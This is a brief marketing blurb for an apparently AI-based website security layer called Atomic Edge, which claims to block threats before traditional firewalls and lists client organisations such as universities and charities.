Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School